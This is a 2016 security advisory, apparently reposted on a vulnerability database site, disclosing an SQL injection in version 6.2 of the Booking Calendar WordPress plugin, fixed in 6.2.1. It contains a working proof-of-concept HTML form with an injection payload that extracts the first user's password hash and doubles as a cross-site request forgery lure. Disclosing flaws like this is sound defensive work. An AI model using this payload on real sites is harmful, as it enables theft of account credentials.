`------------------------------------------------------------------------
SQL injection vulnerability in Booking Calendar WordPress Plugin
------------------------------------------------------------------------
Edwin Molenaar, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
An SQL injection vulnerability exists in the Booking Calendar WordPress
plugin. This vulnerability allows an attacker to view data from the
database. The affected parameter is not properly sanitized or protected
with an anti-Cross-Site Request Forgery token. Consequently, it can
(also be exploited by luring the target user into clicking a specially
crafted link or visiting a malicious website (or advertisement).
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160714-0002
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on Booking Calendar WordPress
Plugin version 6.2.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Booking Calendar version 6.2.1.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/sql_injection_vulnerability_in_booking_calendar_wordpress_plugin.html
This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).
Proof of concept
The following proof of concept will show the hashed password from the first user.
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
<input type="hidden" name="wh_booking_id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation